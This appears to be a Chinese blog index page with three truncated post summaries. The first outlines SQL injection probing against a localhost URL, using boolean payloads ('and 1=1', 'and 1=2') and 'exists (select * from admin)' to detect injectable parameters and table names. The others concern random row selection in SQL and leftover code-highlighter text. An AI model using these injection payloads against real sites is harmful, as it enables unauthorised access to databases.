摘要:
检测可否注入 http://127.0.0.1/xx?id=11 and 1=1 (正常页面) http://127.0.0.1/xx?id=11 and 1=2 (出错页面) 检测表段的 http://127.0.0.1/xx?id=11 and exists (select * from admin) 检测字段的 http://127.0.0.1/xx?id=11 and exists (se... 阅读全文
摘要:
传统使用sql命令行方式 Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->SELECT TOP 1 * FROM Customers ORDER BY NEWID() --随机取出一条记录,想取多条,则top n 当随着LINQ时代的来... 阅读全文
摘要:
Code highlighting produced by Actipro CodeHighlighter (freeware) http://www.CodeHighlighter.com/ --> HTMl: Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlig... 阅读全文